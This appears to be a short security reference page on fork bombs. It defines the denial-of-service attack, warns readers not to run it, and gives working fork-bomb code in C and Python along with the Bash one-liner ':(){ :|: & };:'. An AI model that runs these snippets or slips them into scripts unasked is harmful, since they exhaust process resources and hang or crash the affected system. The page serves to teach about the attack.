# Fork Bomb

Fork Bomb is one of the denial-of-service attacks which lead the system to deplete the available resources by replicating a child process infinitely.

#### Warning <a href="#warning" id="warning"></a>

**Please don’t execute the following programs in system that you don’t want to harm.**

### Exploitation in C <a href="#exploitation-in-c" id="exploitation-in-c"></a>

This program forks child processes continuously.

```shellscript
#include <stdio.h>
#include <sys/types.h>

int main()
{
    while (1)
        // Create a child process from the parent process.
        fork();
    return 0;
}
```

### Exploitation in Python <a href="#exploitation-in-python" id="exploitation-in-python"></a>

```shellscript
import os

while True:
    os.fork()
```

### Exploitation in Bash <a href="#exploitation-in-bash" id="exploitation-in-bash"></a>

```shellscript
:(){ :|: & };:
```

### References <a href="#references" id="references"></a>

* [GeeksForGeeks](https://www.geeksforgeeks.org/zombie-processes-prevention/?ref=ml_lbp)
* [Imperva](https://www.imperva.com/learn/ddos/fork-bomb/)
